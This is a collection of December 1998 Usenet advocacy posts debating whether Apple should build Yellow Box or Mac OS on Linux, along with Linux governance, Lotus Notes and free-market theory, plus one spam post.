Now, of that 1.5 million, how many of those seats are running in environments
where WO would be an asset? How many would be interested in serving dynamic
pages or linking databases to the web? Now add to that all the current WO
customers that would prefer to run WO on Linux on x86 rather than the current
NT or Sun platforms.
That is the potential market, not the millions that are being used as routers
or serving static pages or queuing lab reports on some campus somewhere. Nor
are the millions that are being used to run irc, netscape and emacs."
Feel free to use this to explore the possibility of Apple building YB on
Linux. Show me a credibly plan (either long term or short term) and I'll
support it.
>> I think many Linux "advocates" are merely Microsoft-wannabees.
>They may very well be. I won't presume to speak for them the way you do.
Yet you have no qualms about speaking for NeXT users? In the past few weeks
you have made the following grand generalizations:
1) NeXT users opinions of Linux range from disinterest to dislike
2) NeXT users harbor a fantasy of Apple will "own the whole pie"
3) That they are stuck in the past
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Really the Best Talent?
Date: Sun, 27 Dec 1998 19:53:10 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn78e056.m4h.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <3671C70C.299F0F00@sagchip.com> <3671C95D.366D2F67@tone.ca> <3671fcae$0$226@nntp1.ba.best.com> <petrichF3uv7J.7w2@netcom.com> <367ff5a6.0@news.deniz.com> <3681ffb3$0$9740@nntp1.ba.best.com> <87lnjxxx50.fsf@altair.mayn.de> <36834ab4$0$9741@nntp1.ba.best.com> <761pkh$f5a$3@winter.news.rcn.net> <3689ec37.17422763@nntp.ix.netcom.com>
On Sun, 27 Dec 1998 08:15:13 GMT, John Sheehy <jsheehy@ix.netcom.com> wrote:
>clee2@envirolink.org (Chris Lee) wrote:
>
>>Is that why Windows 98/NT 4.0 requires a Pent II processor in order to run
>>software at the same speeds Win 3.11 ran software at on a 486, Boris?
>
>No, the reason for the existence of that phenomenon is that you
>fabricated it.
Actually, NT 3.51 suffered a visible performance hit
once you installed the beta versions of explorer-NT
on it...
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT Fact Sheet
Date: Mon, 28 Dec 1998 04:11:34 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <7670dl$m1v$1@nnrp1.dejanews.com>
References: <19981225062252.00799.00001627@ng-fv1.aol.com>
In article <19981225062252.00799.00001627@ng-fv1.aol.com>,
merefbast@aol.com (MerefBast) wrote:
> NEXT FACT SHEET
>
> The following is an operating system FACT SHEET on NEXT. A Fact Sheet is an
> organized summary of information and complements the more common FAQ
> (Frequently Asked Questions). This Fact Sheet derived from
> <http://www.honeycomb.net/os/oses/next.htm>. Report any errors, ommissions,
> corrections, additions, etc. to <MerefBast@aol.com>.
>
> NeXT (<a
> href="http://www.honeycomb.net/os/oses/next.htm">http://www.honeycomb.net/
> os/oses/next.htm</a>)
>
> also: NeXTSTEP and OpenSTEP
The idea of doing something like this is all well and good, but you really
should have asked for some help first before posting it to Usenet. For
instance, getting the capitalization down right-- "NeXT", "OPENSTEP" might be
nice....
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 28 Dec 1998 05:26:56 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7674r0$fmf@news1.panix.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net> <765ovq$cp0$1@nnrp03.primenet.com>
On 27 Dec 1998 16:58:34 GMT, John Jensen <jjens@primenet.com> wrote:
>When I first read your post, I didn't get it at all. How could Linux be
>like Microsoft? Linux has no center - it instead has diversity. The two
>are totally different. There is no question of following the Linux plan
>because there is no single plan. There are too many. Chose one, and
>follow it if you want. Or make your own.
I don't think so.
The direction of the Linux kernel is decided by Linus and a core group
of supporters and that model is duplicated in just about every other
part of the Linux community. Did you follow the GGI flamewar? The "heavy
hand" of Linus kept the GGI team from adding something to the kernel; despite
having a lot of support from other developers.
(I use "heavy hand" with tongue planted firmly in my cheek)
>Maybe that's the key:
> When you yield to Microsoft you yield to the machine.
> When you yield to Linux you yield to the jungle.
>
>You know my vote ... plant a tree ... but it's totally up to you. Linux
>has no power to assimilate. Given a little ground it does tend to grow
I have an alternative plan: Don't yield to anyone and make choices based
on the suitability to the task, not platform loyalty (or zealotry). And if
you happen to hate the company that builds the right tool? Pick it anyway,
since it is about getting the job done; and done well, not your personal
opinions about the platform or they guy running the company.
From: sal@panix.com (Sal Denaro)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 28 Dec 1998 05:26:58 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <7674r2$fmf@news1.panix.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <763q9h$fua@news1.panix.com> <ch3-2712981134460001@1cust11.tnt5.redmond.wa.da.uu.net>
On Sun, 27 Dec 1998 11:34:45 -0800,
c hand <ch3@earthlink.net.rem.ove.this> wrote:
>>Huh? You haven't provided anything to support the statement that OpenMach
>>would be "good or profitable for Apple"
<<clip>>
>It benefits users by bringing more hardware into the picture, and it
>benefits Apple by working from a common Open Source code base.
>
>You can read the full proposal here: http://www.of.org/rhaptel
Fair enough. Don Yacktman and Patrick Taylor have both made well thought
out and very well documented business cases that support your statement
at the URL you provided. I retract my comment.
From: Z1159 <z1159@ix.netcom.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: The real cause of PC victory
Date: Mon, 28 Dec 1998 14:47:50 -0600
Organization: ICGNetcom
Message-ID: <3687EE76.D60F651@ix.netcom.com>
References: <364295A3.ABE8C927@earthlink.net> <adtF2K0yo.K7D@netcom.com> <atticus-1711982007150001@user-38lcbh2.dialup.mindspring.com> <3659BB98.F4529E3C@spamtoNull.com> <73ctj7$ik0$1@nnrp1.dejanews.com> <rbarris-ya023280002311981637350001@206.82.216.1> <365B10DD.43341843@spamtoNull.com> <19981124181652165544@ts1-13.aug.com> <365B5B6B.CF42B4BB@gamewood.net> <366C1257.470882A1@klassy.com> <3682B7E2.C36D8DB7@ix.netcom.com> <stevehix-2412981033470001@192.168.1.10> <36855320.1872692@news.prosurfr.com>
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John Savard wrote:
> >Riiiight. ("art faegs"??)
>
> I suppose he meant Arts gratuates who weren't necessarily _actually_
> homosexual, but even with the misspelling, it's an insulting
> stereotype.
>
Yes it is,because I forgot Rush Limbaugh.He was a loyal Macintosher back in the
could-have-bought-a SPARCstation-for-_that!_ days too.
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From: tzs@halcyon.com (Tim Smith)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 27 Dec 1998 13:07:15 -0800
Organization: Archimedes Plutonium Grepping Society
Message-ID: <7667i3$t8c$1@52-a-usw.rb1.blv.nwnexus.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <3680e299.0@stan.astra.co.uk> <75u94d$1rg$1@52-a-usw.rb1.blv.nwnexus.net> <36867be6.0@stan.astra.co.uk>
Cache-Post-Path: 52-a-usw.rb1.blv.nwnexus.net!tzs@localhost
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>> The business case is that it lets Apple get out of the OS market,
>>
>Yes, I understand that -- what I don't see is where it generates *revenue*.
Avoiding spending money on things you don't need is usually considered to be
a good thing for a business to do.
>Unless you're going to allow Apple to charge for the runtimes? However most
>of the pro-YB/Linux folks here seem to be suggesting that the runtimes should
>be free?
>
>If Apple is "allowed" to charge for YB?Linux runtimes then the equation
>changes substantially -- we can then ask what price would the market stand.
>Would, say, $20 per seat be OK?
What does any of this have to do with YB? What I am proposing is that Apple
essentially update A/UX to use LinuxPPC as the kernel, and MacOS 8.5 running
as a process on Linux as the user interface, and that this becomes the
configuration that Macs ship with. MacOS as a stand-alone OS dies off.
Future OS work at Apple would consist of making MacOS work better in that
environment. Multitasking and memory protection could initially be implemented
by allowing multiple MacOS processes to run at the same time.
>> Before Linux and the free BSD's, it may have been necessary for Apple to
>> have their own OS to run their GUI on, because running on top of another
>> OS would mean having to license that OS, and being at the mercy of its
>> owner, but with Linux, they don't have to worry about that.
>>
>Umm, presumably this should be "but with Linux *or the free BSDs*, they don't
>have to worry about that", in which case I'd be interested (seriously -- this
>isn't a barbed aside) to know your reasons for promoting Linux over any of
>the free BSDs.
FreeBSD does not run on PPC. OpenBSD has some PPC support, but not much for
Mac hardware. NetBSD has some Mac PPC support, but it is not developing
anywhere near as fast as LinuxPPC. E.g., LinuxPPC works on the iMac now.
I don't think NetBSD does.
--Tim Smith
From: rlfgen@ggggg.ggg
Newsgroups: comp.sys.next.advocacy
Subject: FREE THINGS! 9195
Date: 27 Dec 1998 23:45:59 GMT
Organization: SIAST
Message-ID: <766grn$rk8677@www1.siast.sk.ca>
Choose from 100's of FREE catalogs:
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From: suvidya@tendlrow.tta.ten.mirror_after_at (Arun Gupta)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 28 Dec 1998 11:23:12 GMT
Organization: AT&T WorldNet Services
Message-ID: <suvidya-2812980625020001@119.newark-18-19rs.nj.dial-access.att.net>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <36817E0D.839DAAF9@nstar.net> <ch3-2312981958330001@1cust46.tnt6.redmond.wa.da.uu.net> <75u940$7ib$1@nnrp1.dejanews.com> <ch3-2412981349460001@1cust24.tnt2.redmond.wa.da.uu.net> <75ugft$4h8$1@nnrp02.primenet.com> <ch3-2412981540450001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com> <ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net> <3686ED85.255995F1@nstar.net>
In article <3686ED85.255995F1@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Arun Gupta wrote:
>
> > "We are Linux. Resistance is futile. You will be assimilated."
>
> "We are Apple. We piss in the wind. Our marketshare is under 3%. We're
> better than you."
>
> > I find it amazing that free-market advocates are moaning that Apple
> > chooses to compete. I thought this is the cardinal virtue of the
> > free-market.
>
> No, creating wealth is the cardinal virtue of the free-market. I'm sorry
> you misunderstood.
Sorry, I should have said "cardinal mechanism" rather than "cardinal virtue".
And my point remains. Apple is not damned for choosing to compete against
Linux; Apple is doing the virtuous thing as far as the free-market theory
goes. It was Soviet thinking that argued that competition was wasteful,
because competition introduces the risk of failure, and resources employed
in failed ventures are a dead loss. However, wealth is generated by
learning how to do things better, and that in turn is driven by competition.
But here we have a free-market advocate saying "Don't compete, you will fail".
If Apple is to be faulted, it should be for not competing vigorously
enough.
-arun gupta
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From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Mon, 28 Dec 1998 23:55:41 +1100
Organization: OzEmail Ltd.
Message-ID: <767v4p$64n$1@reader1.reader.news.ozemail.net>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <368f00ab.4561618@news.demon.co.uk> <ch3-2612980852370001@1cust12.tnt2.redmond.wa.da.uu.net>
c hand wrote in message ...
>>Apple produce $20 worth of software and sell a distro wholesale for
>>$50. They get constant innovation without havig to spend a dime. Is
>>that a good business case?
>No, it's terrible. Just another example of the "change to our
>way of doing things, because we rule" mindset.
Sorry Colin, but haven't you asked several times "what's in it for Apple?"?
Isn't this an answer to that?
The reasons Apple might like the idea will naturally be different to
why Redhat might like the idea - just so long as both sides see a
benefit to themselves then they can make a positive step forward.
Greg
From: "Greg Alexander" <galexand@ozemail.com.au>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Tue, 29 Dec 1998 00:13:44 +1100
Organization: OzEmail Ltd.
Message-ID: <76806k$frf$1@reader1.reader.news.ozemail.net>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net> <slrn77t0pt.is1.jedi@dementia.mishnet> <75mspn$47v$1@reader1.reader.news.ozemail.net> <ch3-2212980922380001@1cust184.tnt1.redmond.wa.da.uu.net> <368f00ab.4561618@news.demon.co.uk> <3686caaf.0@stan.astra.co.uk>
mmalcolm crawford wrote:
> Anthony Ord wrote:
>> Imagine Apple want to do a distribution, and just ship their bits onto
>> of a normal Red Hat (say) CD. They pay RH $5 for each CD to get them
>> "on board". They produce the distro to set up your machine to boot
>> straight into finder
>>
>Umm, this is an issue I brought up elsewhere: simply providing the YB
>runtimes does not give you a Mac-like GUI.
But we are talking about 2 separate things. "An Apple Add-on" for Linux
seems to be the main thing discussed. I think many people who are
sold on the idea of YB see that as meaning YB - where the appeal
to many people is to get the Mac ease of use, applications, etc.
_I_ think YB should be snuck in with these.
><snip> On Windows YB apps
>look like Windows apps. The only way that you'd get a Finder-style
>environment on Linux would be if Apple wrote a whole X-windows window manager
>to do the look and feel for you
Exactly. Or, Apple could port their existing MOSX/S interface to Linux.
To make existing Linux users happy they'd need to support X, but many new
users wouldn't see that as necessary.
>-- and then of course most other apps
>wouldn't use the same widget set and so not conform to same the
>look-and-feel--and-most-importantly-behaviour.
That's a difficult problem. I'm not sure if trying to integrate it is
better, or keeping it in a separate screen ("keep your own window manager!")
like BlueBox has done.
>> and of course use appletalk to share your machines resources.
>Umm, more likely NetInfo...
Yes. Anything they can do to increase manageability will be good. The
client/server side of this makes it a good thing to give away on Linux, and
then sell the management side.
>.. that then raises the issues of interoperability between NetInfo and NIS.
If Apple wants to succeed it has to interoperate as much as possible.
Otherwise it may as well kill it, or GPL it.
>> Apple produce $20 worth of software and sell a distro wholesale for
>> $50. They get constant innovation without havig to spend a dime. Is
>> that a good business case?
>Maybe, maybe not. It depends on what answers you give to the preceding
>questions. And at what level you're expecting innovation. I'm afriad I've
>lost track, so I'm not sure if you're referring to the OS layer or in YB?
For Apple to succeed, I think they'd have to work on several Open source
projects. That retains Apple's independence. Also, they'd need to remain
a "pay-extra" option to keep Linux's independence - but only for stuff that
individuals will like (GUI, Carbon). The stuff that gets them developers
(like YB, YB-Java, and Quicktime) need to be bundled if possible.
Just my opinion
Greg
From: r.e.ballard@usa.net
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Mon, 28 Dec 1998 14:03:45 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <768340$h2v$1@nnrp1.dejanews.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <75eg2i$mhu$1@vixen.cso.uiuc.edu> <75s9ja$l41$1@nnrp1.dejanews.com> <kWEg2.1043$fM1.31766@ptah.visi.com> <763rm5$anu$1@nnrp1.dejanews.com> <ENCh2.1404$fM1.40415@ptah.visi.com>
In article <ENCh2.1404$fM1.40415@ptah.visi.com>,
bhurt@visi.com (Brian Hurt) wrote:
> r.e.ballard@usa.net writes:
>
> >The Notes "Database" was merely a means of wrapping up the various
> >messages into a single, large file, and provide index and view
> >summaries of those documents.
>
> >I have helped "rescue" a couple of projects where someone tried to use
> >Lotus Notes like a relational database (which does horrible things to
> >performance).
>
> I didn't want to be insulting and call it "lightweight"- but it
> certainly isn't in the "heavyweight" category of Oracle et. al. Thus
> the middleweight term. The one notes programmer I've actually talked to
> about her job made me think that the Notes database filled the same
> "niche" as a proper SQL DB and a front end language (Java, VB,
> Powerbuiler, Perl/TK, etc).
That would be a bit misleading. Notes has the ability to "index" certain
specific fields. Furthermore, there is a text search engine that allows
you to search a SINGLE database file. Notesscript is a minimally functional
procedural language, providing neither the powerful text processing
capabilities of PERL, nor the object oriented and system level capabilities
of Java. It might be favorably compared to VBScript, but without ActiveX
controls.
> The advantage I saw was less technical (you
> get your mail server, mail reader, DB, and DB front-end all as one
> package) and more marketing (once you've paid for the email
> server/readers, you get the DB/front-end for "free").
Without the Internet gateway, you can't send SMTP mail. Notes is used
by corporations to "bug" their employees. Notes is most frequently used
where the government wants to monitor otherwise secure e-mail traffic.
The links are encrypted, the data on the server can be incrypted, but it
can all be decrypted and reviewed/audited by someone with the right
authority. PGP internet e-mail is much more secure, but it takes control
of the encryption away from the server.
> A large reason Unix has never developed this is that the parts are
> seperated- which mail server (sendmail, smail, qmail, etc) you use
> doesn't force you choice of mail reader (pine, elm, netscape), let alone
> your choice of DB or DB front-end language. This allows you to mix and
> match the peices to fit the problem at hand (and to replace peices as
> needed).
For most experienced UNIX users, scripting, and learning a scripting language
is as easy as looking at the syntax diagram and learning how to browse the
man pages for the apprapriate library functions. With non-technical Linux
users, there may be more of a market for Integration.
> If it was another company, it'd be called bundling. I still think it's
> a bad idea for the customer.
I just heard yesterday on Bloomberg that IBM is trying to promote a
proprietary replacement for Sendmail, and they are trying to get the Federal
Government to force it's acceptance. Rather than fixing Sendmail and putting
the fixes in GPL, IBM is trying to take control of the Internet by plugging
in it's proprietary server with a proprietary protocol.
The biggest concern is that Microsoft, IBM, and perhaps AOL will try to
monopolize the Internet by subverting the GPL and IETF standards processes.
Microsoft has already subverted the standards processes of W3C, forcing it
to accept the integration of proprietary ActiveX controls into XML.
This may be a bit like killing the goose that lays the golden eggs. The
Internet has enjoyed explosive growth for the last 7 years because of it's
"open" nature. The published specifications, GPL implementations, and
carefully managed standards bodies (as opposed to the free-for-all that
developed at OSI) has made the 20% growth rates possible. An attempt to
introduce proprietary protocols as "Standards" for the core infrastructure
could factionalize the market.
> Brian
--
Rex Ballard - Open Source Advocate, Internet Architect, MIS Director
http://www.open4success.com
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 28 Dec 1998 15:15:58 GMT
Organization: Primenet (602)416-7000
Message-ID: <7687be$8bf$1@nnrp02.primenet.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <3682E4E4.BAA11613@ericsson.com> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com>
<ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net> <765ovq$cp0$1@nnrp03.primenet.com> <7674r0$fmf@news1.panix.com>
Sal Denaro <sal@panix.com> wrote:
: On 27 Dec 1998 16:58:34 GMT, John Jensen <jjens@primenet.com> wrote:
: >When I first read your post, I didn't get it at all. How could Linux be
: >like Microsoft? Linux has no center - it instead has diversity. The two
: >are totally different. There is no question of following the Linux plan
: >because there is no single plan. There are too many. Chose one, and
: >follow it if you want. Or make your own.
: I don't think so.
: The direction of the Linux kernel is decided by Linus and a core group
: of supporters and that model is duplicated in just about every other
: part of the Linux community. Did you follow the GGI flamewar? The "heavy
: hand" of Linus kept the GGI team from adding something to the kernel;
: despite having a lot of support from other developers.
If you take the narrow view that Linux is the kernel, then you are of
course correct. In the broader view there are many competing projects at
all levels of the Linux OS, none of them of them more equal than the
others.
: >Maybe that's the key:
: > When you yield to Microsoft you yield to the machine.
: > When you yield to Linux you yield to the jungle.
: >
: >You know my vote ... plant a tree ... but it's totally up to you. Linux
: >has no power to assimilate. Given a little ground it does tend to grow
: I have an alternative plan: Don't yield to anyone and make choices based
: on the suitability to the task, not platform loyalty (or zealotry). And if
: you happen to hate the company that builds the right tool? Pick it anyway,
: since it is about getting the job done; and done well, not your personal
: opinions about the platform or they guy running the company.
How do you develop software without yielding to anyone? You have to build
atop an API, and using tools developed by someone else. The contrast I
raise between the machine and the jungle is whether you want to yield to a
corporate center or to a bioshpere of peers.
John
From: John Jensen <jjens@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: 28 Dec 1998 17:16:48 GMT
Organization: Primenet (602)416-7000
Message-ID: <768ee0$9mn$1@nnrp02.primenet.com>
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2412981717520001@1cust237.tnt7.redmond.wa.da.uu.net> <ch3-2412981740370001@1cust237.tnt7.redmond.wa.da.uu.net> <qhQg2.1009$J%3.603@news.rdc1.sdca.home.com>
<ch3-2612980911200001@1cust12.tnt2.redmond.wa.da.uu.net> <763ppv$9aq$1@nnrp1.dejanews.com> <suvidya-2712980926360001@210.newark-03-04rs.nj.dial-access.att.net> <765ovq$cp0$1@nnrp03.primenet.com>
<suvidya-2712981944340001@159.newark-03-04rs.nj.dial-access.att.net>
Arun Gupta <suvidya@tendlrow.tta.ten.mirror_after_at> wrote:
: In article <765ovq$cp0$1@nnrp03.primenet.com>, John Jensen
: > When I first read your post, I didn't get it at all. How could Linux be
: > like Microsoft? Linux has no center - it instead has diversity. The two
: > are totally different. There is no question of following the Linux plan
: > because there is no single plan. There are too many. Chose one, and
: > follow it if you want. Or make your own.
: The point is that competition is good (at least in theory ).
: Linux brings a welcome whiff of competition to an otherwise
: seemingly moribund OS scene.
: But that does not mean that Apple, Be, etc., should fold their
: tents, or be assimilated into Linux. It means that they should
: continue to compete, with renewed hope -- the world will accomodate
: choices, it doesn't have to be only Microsoft.
I agree with that. A world with just Linux would be almost as boring as a
world with just Microsoft. The more the merrier, provided we can agree on
some open formats for data interchange.
John
From: Michael Peck <michael.peck@ericsson.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 12:12:15 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3687C9FF.E6EAE91@ericsson.com>
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Arun Gupta wrote:
> Sorry, I should have said "cardinal mechanism" rather than "cardinal virtue".
>
> And my point remains. Apple is not damned for choosing to compete against
> Linux; Apple is doing the virtuous thing as far as the free-market theory
> goes.
Macroeconomically, yes, competition is often a good thing. When the
issue is one specific company's product plans, competition does nobody
any good when cooperation better suits both buyer and seller.
Just to correct, one more time: the cardinal mechanism of the free
market is *not* competition. The cardinal mechanism of the free market
is voluntary exchange of goods and services. That's why we call it a
"free market" and that's why engineered-competition economies do not
work like free markets.
> It was Soviet thinking that argued that competition was wasteful,
> because competition introduces the risk of failure, and resources employed
> in failed ventures are a dead loss.
No, that's just Marxist thinking. It was Marx's proposal that
intelligent centralized intervention could streamline the free market;
he incorrectly assumed that competition was the sole salient mechanism
driving the free market, when in fact, as I said, it is voluntary
exchange of goods and services that drives the free market.
> However, wealth is generated by
> learning how to do things better, and that in turn is driven by competition.
No, not necessarily. The structure of liberty allows many ways of
accomplishing the same thing; some are more efficient than others.
Economic calculation based on voluntary exchange of goods and services
demonstrates that this "free market" streamlines itself; i.e., the most
efficient ways of accomplishing the goals chosen by participants in the
free market are chosen by the amalgamation of thousands, millions, and
billions of transactions.
> But here we have a free-market advocate saying "Don't compete, you will fail".
Yes, that is entirely correct.
> If Apple is to be faulted, it should be for not competing vigorously
> enough.
Well, in a word: no.
MJP
PS. Arun, you really do seem interested in the concepts and mechanisms
of free markets, and you're obviously as fit as I am to discuss them
intelligently. Have you done any reading on free markets and liberty? I
think you would both enjoy it and profit by it.
Unfortunately, a lot of it is difficult to slog through; stuff like
_Wealth of Nations_ can be a bit dry at times. My solution has been to
mix in a lot of humor and light commentary; as I've mentioned before,
P.J. O'Rourke makes a very palatable introduction to much of this stuff.
I recommend anything written recently; i.e. in the last five years,
which would include _All the Trouble in the World_ and his latest, _Eat
the Rich_. Both are very enjoyable reading.
Of course, the "dry stuff" is good, as well: Milton Friedman, Adam
Smith, etc. If, on the other hand, you're totally disinterested and
don't care, I'll quit pestering you.
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 09:57:52 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <3680e299.0@stan.astra.co.uk> <75u94d$1rg$1@52-a-usw.rb1.blv.nwnexus.net> <36867be6.0@stan.astra.co.uk> <7667i3$t8c$1@52-a-usw.rb1.blv.nwnexus.net> <ch3-2712981331200001@1cust79.tnt6.redmond.wa.da.uu.net> <3686F68B.79B4E731@nstar.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812980957520001@1cust30.tnt4.redmond.wa.da.uu.net>
>> Why is it that every armchair CEO thinks that Apple has no plan in place
>> already for what markets, what timeframe, what technologies what platform,
>> etc. they will pursue?
>
>You would do well to ask *yourself* that question.
>
And that would assume that I don't already know the answer.
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
Date: Mon, 28 Dec 1998 09:55:31 -0800
References: <75q4km$29e$1@52-a-usw.rb1.blv.nwnexus.net> <atticus-2312980302000001@user-38lcbfn.dialup.mindspring.com> <3680e299.0@stan.astra.co.uk> <3681729D.6F3AFB05@nstar.net> <36817c66.0@stan.astra.co.uk> <75u8ln$75u$1@nnrp1.dejanews.com> <ch3-2412981553350001@1cust114.tnt1.redmond.wa.da.uu.net> <3682E5D1.320B0905@ericsson.com> <ch3-2612980916070001@1cust12.tnt2.redmond.wa.da.uu.net> <763q9h$fua@news1.panix.com> <ch3-2712981134460001@1cust11.tnt5.redmond.wa.da.uu.net> <7674r2$fmf@news1.panix.com>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2812980955320001@1cust30.tnt4.redmond.wa.da.uu.net>
>Fair enough. Don Yacktman and Patrick Taylor have both made well thought
>out and very well documented business cases that support your statement
>at the URL you provided.
The real point I was making in bringing it up, is the fact that it IS a
proposal. Contrast that to these 'religiously based' Linux 'demands,'
for which no proposal exists other than the sentiment that is summed up here:
"Apple's inability to see the correlation between what I want and what would be
good or profitable for Apple is the source of Apple's ongoing difficulties."
--
regards : colin hand : mailto:ch3@earthlink.net
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: How Apple Can Sell Me A Mac (was Re: Apple-M$: Linux Nightmare?)
